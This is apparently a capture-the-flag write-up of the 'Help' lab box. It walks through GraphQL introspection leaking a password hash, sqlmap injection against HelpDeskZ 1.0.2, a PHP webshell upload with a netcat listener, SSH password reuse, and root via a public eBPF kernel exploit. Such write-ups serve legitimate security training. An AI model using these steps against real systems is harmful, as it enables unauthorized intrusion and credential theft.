Help

Jun 04, 2026 Easy

Introduction

Help is an easy Linux box, but it packs in more real-world lessons than most: a GraphQL endpoint that leaks credentials through introspection, a HelpDeskZ 1.0.2 install with two known bugs whose public exploits are both broken (so you fix them yourself), a bit of password reuse, and an old kernel that falls to a public CVE.

The path: port 3000 runs a Node/Express GraphQL API that all but invites you to query it, and doing so leaks an MD5 hash we crack. Those credentials log us into the HelpDeskZ ticketing app on port 80. HelpDeskZ 1.0.2 has both an authenticated SQL injection and an arbitrary file upload; the Exploit-DB PoCs for both fail on modern Python, so the real work is reading them and reproducing them manually. The SQLi dumps an admin password that is reused for SSH as help, and the file upload gives a shell directly. Either way we land as help, and the ancient 4.4.0-116 kernel gives up root to CVE-2017-16995.

Enumeration

BASH
echo "<target_ip>  help.htb" | sudo tee -a /etc/hosts

Service Discovery

BASH
sudo nmap help.htb -T4 --min-rate 3500 -p 22,80,3000 -sC -sV -oN scans/service-scan.nmap
BASH
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6
80/tcp   open  http    Apache httpd 2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).

Two web servers: a classic Apache on 80 and a Node/Express JSON API on 3000. Old OpenSSH 7.2 hints at an old Ubuntu, which matters for privesc later.

Port 80 — HelpDeskZ

Fuzzing found /support, a HelpDeskZ help desk. The version is not hidden; it is sitting in a text file.

BASH
curl http://help.htb/support/UPGRADING.txt
# Welcome to HelpDeskZ 1.0.2
BASH
searchsploit helpdeskz
# HelpDeskZ 1.0.2 - Arbitrary File Upload                         php/webapps/40300.py
# HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / File Download php/webapps/41200.py

Both exploits need a valid login, so I set HelpDeskZ aside and looked at port 3000 for credentials.

Port 3000 — a talkative GraphQL API

BASH
curl -s http://help.htb:3000/
{"message":"Hi Shiv, To get access please find the credentials with given query"}

“With given query” plus a JSON Express API is a strong hint at GraphQL. Fuzzing confirmed /graphql.

Foothold — GraphQL introspection to credentials

GraphQL servers often leave introspection enabled, which lets you ask the schema to describe itself. That reveals a User type with username and password fields.

BASH
curl -s 'http://help.htb:3000/graphql?query={__schema{types{name,fields{name}}}}'
# ... {"name":"User","fields":[{"name":"username"},{"name":"password"}]} ...

Knowing the shape, I just asked for the data:

BASH
curl -s 'http://help.htb:3000/graphql?query={user{username,password}}'
{"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}

That password is an unsalted MD5, cracked instantly.

BASH
hashcat -m 0 5d3c93182bb20f07b994a7f617e99cff /usr/share/wordlists/rockyou.txt
# 5d3c93182bb20f07b994a7f617e99cff:godhelpmeplz

helpme@helpme.com:godhelpmeplz logs into HelpDeskZ at http://help.htb/support/.

Exploiting HelpDeskZ 1.0.2

Now the two bugs are in reach. Both public PoCs are broken on a modern Python, so the useful skill here is reading what they do and reproducing it by hand.

SQL injection (dump the admin hash)

The authenticated SQLi (EDB-41200) lives in the ticket attachment download. The workflow: create a ticket with a file attached, then the URL that downloads that attachment takes an injectable param[].

HelpDeskZ ticket submission form with a subject, message and an attachment, used to reach the injectable attachment-download parameter

The attachment download URL looks like:

TEXT
http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6

That last param[] is the injection point. Rather than fight the broken PoC, I saved the authenticated request to ticket.request and pointed sqlmap at it.

BASH
sqlmap -r ticket.request -p 'param[]' --batch --dump

sqlmap confirmed boolean- and time-based blind injection and dumped the support database. The prize is the staff table:

TEXT
Table: staff
| username | password                                          |
| admin    | d318f44739dced66793b1a603028133a76ae680e (sha1)   |

That SHA1 cracks to Welcome1.

Arbitrary file upload (direct shell)

In parallel, the file-upload bug (EDB-40300) abuses the same ticket attachment feature: you can upload a .php file, and HelpDeskZ stores it under a name of md5(original_filename + upload_unix_time). Since the upload time is knowable (the server’s Date header), you brute a small window of timestamps to find the URL of your shell. The public PoC was broken too, so I rewrote it for Python 3.

BASH
python3 helpdeskz_upload.py http://help.htb/support/uploads/tickets shell.php
# [+] found (payload executing): http://help.htb/support/uploads/tickets/2274d7f3...php

With a listener running, requesting that URL returns a shell as help.

BASH
nc -lvnp <listener_port>
# uid=1000(help) gid=1000(help) groups=1000(help),4(adm),...

Password reuse to SSH

The admin password from the SQLi, Welcome1, is reused for the help system user, so SSH gives a clean, stable shell (nicer than the webshell for the privesc step).

BASH
ssh help@help.htb    # Welcome1

Discovery note: none of the emails dumped from the database were valid SSH users, and admin was not a Linux account. The winning move was trying the cracked admin password Welcome1 against the help username (the box’s namesake). When credentials do not work as-is, try the password against the obvious system usernames.

help owns the user flag.

Privilege Escalation — CVE-2017-16995

The kernel is the giveaway.

BASH
help@help:~$ uname -r
4.4.0-116-generic

That is an old Ubuntu 16.04 kernel. A kernel-exploit check flags CVE-2017-16995, an eBPF verifier sign-extension bug that gives arbitrary kernel read/write and, from there, a root shell. It applies here because CONFIG_BPF_SYSCALL=y and unprivileged BPF is not disabled.

BASH
# compile the public exploit (EDB-44298) and run it
gcc 44298.c -o kernel
./kernel

task_struct = ffff88001c420000
spawning root shell
root@help:~# whoami
root

Machine rooted.

Attack Chain Recap

TEXT
nmap                                  ->  80 HelpDeskZ 1.0.2 ; 3000 Node/Express GraphQL
curl :3000 -> "find the credentials"  ->  fuzz -> /graphql
GraphQL introspection + user query    ->  helpme@helpme.com : MD5 -> hashcat -> godhelpmeplz
login HelpDeskZ                        ->  reach the two 1.0.2 bugs (both PoCs broken -> manual)
SQLi in ticket param[] (sqlmap)       ->  dump staff -> admin sha1 -> Welcome1
file upload (rebuilt PoC)              ->  shell as help
password reuse Welcome1                ->  SSH as help (stable) + user flag
kernel 4.4.0-116 -> CVE-2017-16995     ->  root

Key takeaways

  • GraphQL introspection is free recon. If __schema is enabled, the API hands you its own field names. Hi Shiv, ... find the credentials with given query was a nudge to do exactly that.
  • A broken PoC is not a dead end. Both HelpDeskZ exploits failed to run, but reading them told me precisely what to reproduce: an injectable param[] for sqlmap, and a md5(name+time) filename to brute. Understanding beats copy-paste.
  • Try found passwords against obvious usernames. Welcome1 belonged to the web admin, but it unlocked the help system user over SSH. Password reuse across web and OS accounts is extremely common.
  • The kernel version is a privesc lead by itself. 4.4.0-116 maps straight to CVE-2017-16995. On old boxes, check the kernel before grinding through local enumeration.

References